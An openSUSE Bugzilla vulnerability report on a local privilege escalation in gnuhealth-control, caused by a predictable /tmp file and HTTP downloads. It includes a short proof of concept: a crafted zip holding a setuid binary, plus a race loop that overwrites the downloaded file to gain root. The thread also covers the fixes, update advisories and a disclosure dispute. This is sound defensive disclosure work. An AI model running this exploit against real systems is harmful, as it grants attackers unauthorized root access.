Bugzilla – Bug 1167126
VUL-0: gnuhealth: Local privilege escalation in gnuhealth-control, use of static tmp file/http transport
Last modified: 2020-06-17 11:31:39 UTC
Created attachment 833397 [details] Code for reproducer 405 getlang() { 406 if [ $# -eq 1 ]; then 407 usage 408 fi 409 410 local lang_to_install=$2 411 local lang_file=${lang_to_install}.zip 412 # source $HOME/.gnuhealthrc || exit 1 413 cli_msg "INFO" "Going to modules directory ${GNUHEALTH_DIR} " 414 415 cd ${GNUHEALTH_DIR} || exit 1 416 cli_msg "INFO" "Retrieving language pack file for ${lang_to_install}" 417 wget ${TRANSLATE_URL}/export/?path=/${lang_to_install}/GNUHEALTH/ -O /tmp/${lang_file} || exit 1 418 cli_msg "INFO" "Installing / Updating language files for ${lang_to_install} ..." 419 420 bsdtar --strip-components 3 --exclude *webdav3* --exclude *caldav* -xzf /tmp/${lang_file} || exit 1 1, /tmp/${lang_file} evaluates to e.g. /tmp/de.zip and is therefor predictable. On systems with fs.protected_symlinks=0 this can be used to overwrite arbitrary files 2, TRANSLATE_URL is a http URL and an active network attacker can change the content of the downloaded file 3, The first wget writes the content to the file no matter if it already exists. It also doesn't change the permissions. With that this can be used for local privilege escalation (LPE). POC: As user: mkdir -p a/b/c; gcc -Wall -Wextra test.c -o a/b/c/test && sudo chown root a/b/c/test && sudo chmod 4755 a/b/c/test && zip -r exploit.zip a touch /tmp/de.zip inotifywait -e open /tmp/de.zip; for i in `seq 1 1000`; do cp -f ~/exploit.zip /tmp/de.zip; done As root: /usr/bin/gnuhealth-control getlang de fails on Factory since 32 GNUHEALTH_DIR=$(ls -d /usr/lib/python3.* )/site-packages/trytond/modules does yield more than one path and it bails here 415 cd ${GNUHEALTH_DIR} || exit 1 works on Leap 15.1 Once the zip is downloaded via wget it's overwritten with the prepared zip. After that GNUHEALTH_DIR will contain a 'test' binary: -rwsr-xr-x 1 root users ? 13K Mar 19 15:21 test # id uid=1000(johannes) gid=100(users) groups=100(users) # /usr/lib/python3.8/site-packages/trytond/modules/test euid: 0 Requires winning the race and code looks pretty dead, so I don't think this is very severe.
This issue will be handled according to our disclosure policy outlined in https://en.opensuse.org/openSUSE:Security_disclosure_policy The information listed here is not public. Please - do not talk to other people about this unless they're involved in fixing the issue - do not make this bug public In accordance with our policy we will make this issue public latest at Internal CRD: 2020-06-17 or earlier at your discretion This is the latest possible date and we prefer to make it public earlier if the situation allows it. In that case we'll post a comment here setting the new date. You're free to make this public at any point but please inform us upfront.
In the upstream version the update logic uses UPDATE_DOWNLOAD_DIR="/tmp/gnuhealth_update" and can be attacked in a similar way. For that I would like to request a CVE to track this once you've had a chance to review this finding
(In reply to Johannes Segitz from comment #0) ..... > 1, /tmp/${lang_file} evaluates to e.g. /tmp/de.zip and is therefor > predictable. On systems with fs.protected_symlinks=0 this can be used to > overwrite arbitrary files Yes, depending on the language you request it gets it.zip, es.zip etc. As this is linked to the pootle (translation) structure, it is difficult to change (I guess). Any idea for a solution? > 2, TRANSLATE_URL is a http URL and an active network attacker can change the > content of the downloaded file the server needs certificates...I have requested this already > 3, The first wget writes the content to the file no matter if it already > exists. It also doesn't change the permissions. With that this can be used > for local privilege escalation (LPE). I it sufficient if I clean the existing ${lang-file}.zip ? ..... > As root: /usr/bin/gnuhealth-control getlang de > fails on Factory since > 32 GNUHEALTH_DIR=$(ls -d /usr/lib/python3.* > )/site-packages/trytond/modules > does yield more than one path and it bails here > 415 cd ${GNUHEALTH_DIR} || exit 1 > works on Leap 15.1 Yes...some python3.7 dirs may be around in TW. For updating I need to find the current python version under which the modules are installed. Any better idea is welcome! > Once the zip is downloaded via wget it's overwritten with the prepared zip. > After that GNUHEALTH_DIR will contain a 'test' binary: > -rwsr-xr-x 1 root users ? 13K Mar 19 15:21 test > > # id > uid=1000(johannes) gid=100(users) groups=100(users) > # /usr/lib/python3.8/site-packages/trytond/modules/test > euid: 0 > > Requires winning the race and code looks pretty dead, so I don't think this > is very severe. Thats the good news ;-) One more: We are writing some aliases into /etc/bash.bashrc.local It was mentioned that this is is not the best idea, and we should use /etc/profile.d instead. How should this work? Just place a script in there and it is picked up? No idea, sorry, so I'm asking....
> > 1, /tmp/${lang_file} evaluates to e.g. /tmp/de.zip and is therefor > > predictable. On systems with fs.protected_symlinks=0 this can be used to > > overwrite arbitrary files > > Yes, depending on the language you request it gets it.zip, es.zip etc. > As this is linked to the pootle (translation) structure, it is difficult to change (I guess). > Any idea for a solution? The easiest solution is to create a tmp directory with mktemp -d then work in this directory > the server needs certificates...I have requested this already great >> 3, The first wget writes the content to the file no matter if it already >> exists. It also doesn't change the permissions. With that this can be used >> for local privilege escalation (LPE). > >I it sufficient if I clean the existing ${lang-file}.zip ? no, as the attacker can still jump in between. If you work in the directory created with mktemp -d you're safe >Yes...some python3.7 dirs may be around in TW. For updating I need to find the current python version under which the modules are installed. Any better idea is welcome! There's probably a more elegant way but you could query the rpm database for this >We are writing some aliases into /etc/bash.bashrc.local >It was mentioned that this is is not the best idea, and we should use /etc/profile.d instead. How should this work? Just place a script in there and it is picked up? No idea, sorry, so I'm asking.... yes, that's the way this works. Can you point me toward the aliases so I can have a quick look?
(In reply to Johannes Segitz from comment #4) > >Yes...some python3.7 dirs may be around in TW. For updating I need to find the current python version under which the modules are installed. Any better idea is welcome! > > There's probably a more elegant way but you could query the rpm database for > this If there is still a package being build against 3.7, quering the DB would still give 2 results.... > >We are writing some aliases into /etc/bash.bashrc.local > >It was mentioned that this is is not the best idea, and we should use /etc/profile.d instead. How should this work? Just place a script in there and it is picked up? No idea, sorry, so I'm asking.... > > yes, that's the way this works. Can you point me toward the aliases so I can > have a quick look? It is from the spec-file: #Write environment changes to /etc/bash.bashrc.local cat > /etc/bash.bashrc.local << "EOF" alias cdlogs='cd /var/log/tryton' alias cdexe='cd $(ls -d /usr/lib/python3.* )/site-packages/trytond' alias cdconf='cd /etc/tryton' alias cdmods='cd $(ls -d /usr/lib/python3.* )/site-packages/trytond/modules' alias editconf='${EDITOR} /etc/tryton/trytond.conf' alias cdutil='cd /usr/bin' EOF #Write GH Variable /etc/tryton/gnuhealthrc cat > /etc/tryton/gnuhealthrc << "EOF" GNUHEALTH_VERSION=%{version} TRYTON_VERSION=%{t_version} EOF
And it then ships for more than one python version in one package? Try rpm -ql gnuhealth | egrep '^/usr/lib/python.\..{1,2}/site-packages$' The aliases are fine but I (personally) think that they should be shipped in a suggested package, not by default
I have added https://bugzilla.opensuse.org/attachment.cgi?id=833616 to boo#1167128, please review in this context as well. Once this is agreed, I will work on the upstream version
This is an autogenerated message for OBS integration: This bug (1167126) was mentioned in https://build.opensuse.org/request/show/790257 15.1 / gnuhealth https://build.opensuse.org/request/show/790258 Factory / gnuhealth https://build.opensuse.org/request/show/790259 15.2 / gnuhealth
This is an autogenerated message for OBS integration: This bug (1167126) was mentioned in https://build.opensuse.org/request/show/791491 15.1 / gnuhealth https://build.opensuse.org/request/show/791495 Factory / gnuhealth
openSUSE-SU-2020:0490-1: An update that contains security fixes can now be installed. Category: security (moderate) Bug References: 1167126,1167128 CVE References: Sources used: openSUSE Leap 15.1 (src): gnuhealth-3.4.1-lp151.2.11.1
openSUSE-SU-2020:0534-1: An update that contains security fixes can now be installed. Category: security (moderate) Bug References: 1167126,1167128 CVE References: Sources used: openSUSE Backports SLE-15-SP1 (src): gnuhealth-3.4.1-bp151.3.9.4
As everything is in place, I think we can close this?
yes, thank you for fixing this
Hi Axel, Johannes Axel, please before sending any potential vulnerability, practice coordinated disclosure. Make sure you write to "security@gnuhealth.org"[1] so we can discuss and apply the pertinent patches if needed. This particular context is not critical, but if it would be the case, you would be publicly exposing the vulnerability. Let me repeat: *ALWAYS* write privately to security@gnuhealth.org if you think there is a vulnerability. I have noticed that https://bugzilla.opensuse.org/show_bug.cgi?id=1167126 and https://bugzilla.opensuse.org/show_bug.cgi?id=1167128 are public. 1.- https://en.wikibooks.org/wiki/GNU_Health/Security#Reporting_a_security_vulnerability